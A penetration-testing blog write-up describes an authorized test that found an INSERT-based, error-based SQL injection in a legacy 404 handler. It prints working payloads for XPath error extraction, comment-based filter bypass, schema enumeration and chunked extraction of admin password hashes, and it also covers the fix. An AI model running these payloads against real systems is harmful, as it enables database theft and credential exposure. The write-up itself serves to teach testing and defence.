How I Found a Critical SQL Injection in an “Abandoned” Website: Exploiting a Rare Chain of…
quality 9/10 · excellent
0 net
AI Summary
A critical SQL injection vulnerability was discovered in a legacy 404 error handler that directly concatenates user-controlled REQUEST_URI into an INSERT statement without sanitization. The attacker exploited INSERT-based, multi-row XPATH injection combined with EXTRACTVALUE() error-based extraction to bypass automated tools and dump database contents, revealing the application ran with MySQL root privileges.
Tags
Entities
SQLMap
Ghauri
Sublist3r
DNSRecon
Amass
viewdns.info
EXTRACTVALUE
mysqli
Eduardo F
How I Found a Critical SQL Injection in an "Abandoned" Website: Exploiting a Rare Chain of… | by Eduardo F | in InfoSec Write-ups - Freedium
Milestone: 20GB Reached
We’ve reached 20GB of stored data — thank you for helping us grow!
Patreon
Ko-fi
Liberapay
Close
< Go to the original
How I Found a Critical SQL Injection in an "Abandoned" Website: Exploiting a Rare Chain of…
When legacy infrastructure becomes your best friend in a pentest
Eduardo F
Follow
InfoSec Write-ups
·
~9 min read
·
March 13, 2026 (Updated: March 13, 2026)
·
Free: Yes
How I Found a Critical SQL Injection in an "Abandoned" Website: Exploiting a Rare Chain of INSERT-Based, Multi-Row, and XPath Injection
When legacy infrastructure becomes your best friend in a pentest
Before we begin, I want to emphasize this rare finding I discovered on a website.
This type of case is literally 1% of SQLi, it is extremely rare to see this type of failure with multiple factors combined Error-Based SQL Injection (XPATH Injection) + INSERT-Based, so this is the case study.
Error-Based SQL Injection
XPATH Injection
Use of user root in MySQL
EXTRACTVALUE() in production
Error messages enabled
Unsanitized input
Concatenated INSERT
Multi-row
PHP shows errors directly
Introduction
There's a saying among pentesters: "The forgotten corners are where the treasure hides."
During a recent authorized penetration testing engagement, I discovered a critical SQL Injection vulnerability hiding in plain sight — not in the client's main application, but in an old, "discontinued" subdomain that everyone had forgotten about.
This is the story of how a simple comma led me to dump an entire database, and why your old infrastructure might be your biggest security liability.
The Engagement
I was contracted to perform a security assessment for a web development and hosting company. Their main business had evolved, and they had migrated their primary services to a new domain. However, like many companies, they kept their old web presence online — a legacy site that was essentially a digital ghost town.
Scope: Full web application penetration test
Target: Legacy corporate website (subdomain)
Authorization: ✅
Mapping the Attack Surface: Expanding the Attack Surface Before touching the web application, I started by mapping the organization's full digital footprint. I performed subdomain fuzzing and DNS enumeration using tools like viewdns.info, Sublist3r, DNSRecon and Amass to uncover assets that weren't indexed by search engines.
That's when the target appeared. While the main domain was clean and hosted on modern infrastructure, the fuzzing results pointed to a forgotten development subdomain pointing to a legacy server.
Reconnaissance: The Red Flags
The first thing I noticed during reconnaissance was concerning: the site was bleeding information .
PHP Warnings Everywhere
Simply navigating to certain pages exposed internal server paths: Warning: Undefined array key "desarrollo" in /home/[REDACTED]/public_html/index.php on line 169
Warning: Cannot modify header information — headers already sent…
PHP warnings in production are a goldmine. They reveal:
Internal file paths
Variable names
Application logic
Broken Links Galore
The site was full of dead ends. Links pointing to pages that no longer existed, PHP files that threw errors, and forms that submitted to nowhere. Each broken link was a potential entry point.
The Cherry on Top: phpinfo()
Yes, phpinfo.php was publicly accessible. I now knew:
PHP version
Loaded modules
Server configuration
Internal paths
At this point, I knew this " abandoned " site was going to be interesting.
The Hunt Begins
Armed with my reconnaissance data, I started testing for common vulnerabilities:
| Vector | Result |
| XSS | Partial (reflected, filtered) |
| LFI/RFI | Blocked |
| IDOR | No accessible endpoints |
| SQL Injection | 🎯 *Bingo* |
The Accidental Discovery
I was fuzzing parameters when I noticed something odd. A request with a malformed URL triggered an unusual error. Specifically, a simple comma in the URL broke something .
The error message revealed:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax
to use near 'Entrada directa', ƇXX.XXX.XX.XXX')' at line 1 in
/home/[REDACTED]/public_html/…./…./error404.php:45
Stack trace:
#0 /home/[REDACTED]/public_html/…./…./error404.php(45): mysqli->query('INSERT INTO err…')
#1 /home/[REDACTED]/public_html/index.php(433): require('/home/[REDACTED]/…')
#2 {main}
thrown in /home/[REDACTED]/public_html/…./…./error404.php on line 45
Screenshot shows the actual error. IP address and internal paths have been partially redacted.
Wait. My input was being reflected inside what looked like an INSERT statement. And the application was using MySQLi with verbose error reporting enabled.
This was SQL Injection.
Vulnerability Classification
[IMPORTANT]
Type: Error-Based SQL Injection (XPATH Injection) + INSERT-Based
Severity: Critical (CVSS 9.8)
Location: 404 Error Handler (error404.php)
Root Cause: Direct concatenation of `$_SERVER['REQUEST_URI']` into INSERT statement
The vulnerable code was in the error 404 handler . Yes, the page designed to handle non-existent URLs was itself vulnerable.
php
Vulnerable pattern (reconstructed)
$uri = $_SERVER['REQUEST_URI']; // User-controlled input
$query = "INSERT INTO error_log (url, referer, ip) VALUES ('$uri', '$ref', '$ip')";
$mysqli->query($query);
Every 404 error was being logged to the database, and the URL was concatenated directly into the SQL query without any sanitization.
Why Automated Tools Failed
This wasn't a typical SELECT injection where you can easily use UNION . My first attempt was to use automated tools:
bash
SQLMap — Automatic SQL Injection Tool sqlmap -u "https://target.com/test" — batch — level=5 — risk=3
Ghauri — A modern alternative ghauri -u https://target.com/test — batch
Both failed completely. Here's why:
| Tool | Why It Failed |
| SQLMap | Uses predefined payloads optimized for SELECT/WHERE injections |
| Ghauri | Same issue — generic payload templates |
The problem was that this vulnerability required a custom-crafted payload specifically designed for:
1. The INSERT statement structure
2. The specific column order
3. Proper syntax balancing with multi-row injection
Automated tools send hundreds of generic payloads, but none matched the exact format needed. Manual exploitation was the only option.
Crafting the Payload
The Technique: Multi-Row INSERT + EXTRACTVALUE
Since I was injecting into an INSERT statement, I needed to:
1. Close the current row properly
2. Inject my malicious query
3. Start a new valid row to fix the syntax
The EXTRACTVALUE() function generates XPATH errors that leak data in the error message. Perfect for error-based extraction.
Initial PoC Payload: /',EXTRACTVALUE(1,CONCAT(0x7e,USER(),0x7e)),1),(1,'1
Let me break this down:
| Part | Purpose |
| `/'` | Close the URL string |
| `,EXTRACTVALUE(…)` | Inject our extraction function |
| `,1)` | Complete the current row |
| `,(1,Ƈ` | Start a new row to fix syntax |
The Moment of Truth GET /…./test.php',EXTRACTVALUE(1,CONCAT(0x7e,USER(),0x7e)),1),(1,'1 HTTP/1.1
Response: Fatal error: mysqli_sql_exception: XPATH syntax error: '~[REDACTED]_root@localhost~'
🎉 It worked.
The tilde characters (`~`) from `0x7e` wrapped our extracted data, making it easy to identify in the error message. And the username revealed something critical: the application was running as a root-level database user.
Escalating the Attack
The 32-Character Limit Problem
EXTRACTVALUE() has a limitation: it only returns approximately 32 characters of data. For longer strings (like password hashes), I needed to extract in chunks.
Getting the first 20 characters: sql
SUBSTRING(pass,1,20)
Getting characters 21–40: sql
SUBSTRING(pass,21,40)
Real Example: Enumerating Table Columns
Let me show you exactly how I extracted the column structure from the admin table.
Request sent via Burp Suite Repeater: GET /…./json.php',EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/GROUP_CONCAT(column_name)/**/FROM/**/information_schema.columns/**/WHERE/**/table_name='admin'),0x7e)),1),(1,'1 HTTP/1.1
NOTE:
Notice the `/**/` syntax. This is a comment-based space bypass technique. Some WAFs and filters block traditional spaces in SQL keywords, but `/**/` acts as a valid separator that often evades detection.
Response (Error message leaking data): Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error:
'~id,nombre,apellidos,user,pass,e' in /home/[REDACTED]/public_html/…./…./error404.php:45
What this revealed:
| Extracted Columns | Meaning |
| `id` | Primary key |
| `nombre` | First name |
| `apellidos` | Last name |
| `user` | Username |
| `pass` | Password hash |
| `e…` | Truncated (email?) |
Notice how the output was cut off at 32 characters (including the tilde ` ~ `). The actual column list continued with `email, nivel, activo…` but EXTRACTVALUE truncated it. This is why I needed the SUBSTRING technique for longer extractions.
Extracting Credentials: The Chunked Approach
To extract actual credentials, I needed specific payloads:
Step 1: Get username (row 1) GET /…./json.php',EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/user/**/FROM/**/admin/**/LIMIT/**/0,1),0x7e)),1),(1,'1 HTTP/1.1
Step 2: Get password hash (first 20 chars) GET /…./json.php',EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/SUBSTRING(pass,1,20)/**/FROM/**/admin/**/LIMIT/**/0,1),0x7e)),1),(1,'1 HTTP/1.1
Step 3: Get password hash (chars 21–40) GET /…./json.php',EXTRACTVALUE(1,CONCAT(0x7e,(SELECT/**/SUBSTRING(pass,21,40)/**/FROM/**/admin/**/LIMIT/**/0,1),0x7e)),1),(1,'1 HTTP/1.1
By combining the chunks, I reconstructed the full hash.
Automating with Burp Intruder
Manually extracting each row was tedious. I configured Burp Intruder in Sniper mode to iterate through LIMIT offsets automatically: `LIMIT 0,1` → First row
`LIMIT 1,1` → Second row
`LIMIT 2,1` → Third row
…and so on
NOTE
The image shows the results of one of the Burp Intruder columns. Sensitive data has been redacted.
The Full Picture: 70+ Tables Exposed
Using the enumeration technique, I discovered the database contained over 70 tables :
Details:
administrador_recibos
estadísticas código_promocional registro
opiniones correos
anuncios comunicados avisos
bancos_cokies_acceso pagos
boletín datos_acceso interesados
número_dominios proyectos
campanias correos electrónicos solicitudes
… and 50+ more tables
Critical tables identified:
`admin` — Administrator accounts
`credenciales` — User credentials
`clientes` — Client information
`pagos` — Payment records
`facturas` — Invoices
Impact Assessment
| Finding | Severity |
| Full database read access | Critical |
| Access to admin credentials | Critical |
| Root-level DB privileges | High |
| Access to 3 databases (not just one) | High |
The root database user meant that an attacker could potentially:
Read ALL databases on the shared server
Access other clients' data (in a hosting environment)
Potentially write files to the system
Key Takeaways
For Pentesters
1. Don't ignore legacy infrastructure. That old subdomain might be your golden ticket.
2. When automated tools fail, go manual. SQLMap and Ghauri couldn't detect this injection pattern. Manual testing revealed it in minutes.
3. Error messages are your friend. Verbose PHP errors and MySQL exceptions gave me everything I needed.
4. INSERT-based SQLi is underrated. Many testers focus on SELECT. Learn multi-row insert techniques.
For Developers & Companies
1. Delete or secure legacy sites. If you're not using it, take it offline. "Nobody will find it" is not a security strategy.
2. Never use root credentials for applications. Create dedicated users with minimal required privileges.
3. Disable error display in production. Set `display_errors = Off` in php.ini.
4. Use prepared statements. Always. There's no excuse in 2024/2026.
php
// The fix is simple
$stmt = $mysqli->prepare("INSERT INTO error_log (url, ref, ip) VALUES (?, ?, ?)");
$stmt->bind_param("sss", $uri, $ref, $ip);
$stmt->execute();
Timeline
| Date | Action |
| Day 1, 2 | Initial reconnaissance, discovered information leaks |
| Day 3 | Identified SQL Injection in 404 handler |
| Day 4, 5| Developed working exploitation payload |
| Day 6,7,8 | Enumerated database structure |
| Day 9 | Documented findings, submitted report |
| Day 10 | Client acknowledged, remediation in progress |
🧠 The Human Logic: Making the Database "Shout"
This vulnerability was a perfect example of why manual testing still beats automation.
Since this was an INSERT statement, the server acted like a black box—tools like Ghauri and SQLMap tried to break it but got no response, leading to false negatives. The database was simply ignoring standard payloads.
So, I had to force the situation. My logic shifted to: "If the database won't show me the data willingly, I will make it show it by mistake."
I used the XPath function to inject a malicious query that acted as an impossible instruction. Essentially, I asked the database to validate the Administrator's password as if it were a syntax rule.
Because the database engine is strict, it panicked. It couldn't process the request, so I forced it to "shout" the error. In its attempt to describe what went wrong, the system literally spit out the information I was looking for inside the error message.
It was like forcing someone to read a secret out loud just to tell you it was spelled wrong.
Conclusion
This engagement reinforced something I've seen time and time again: companies underestimate the risk of their digital footprint .
That old marketing site from 2015? Still running. That test subdomain from a failed project? Still accessible. That phpinfo page someone forgot to delete? Still leaking server configurations.
Security isn't just about protecting your main application. It's about understanding that every forgotten endpoint, every legacy system, every "temporary" test server is a potential entry point for attackers.
Abandoned doesn't mean invisible. And invisible isn't secure.
Thanks for reading! If you found this interesting, follow me for more security research and pentesting stories.
Have questions about the techniques used? Drop a comment below.
Disclaimer: This research was conducted under a legal contract with explicit written authorization. Always obtain proper permission before testing any system. Unauthorized access to computer systems is illegal.
#cybersecurity #penetration-testing #sql-injection #infosec #bug-bounty
Reporting a Problem
Sometimes we have problems displaying some Medium posts.
If you have a problem that some images aren't loading - try using VPN. Probably you have problem with
access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).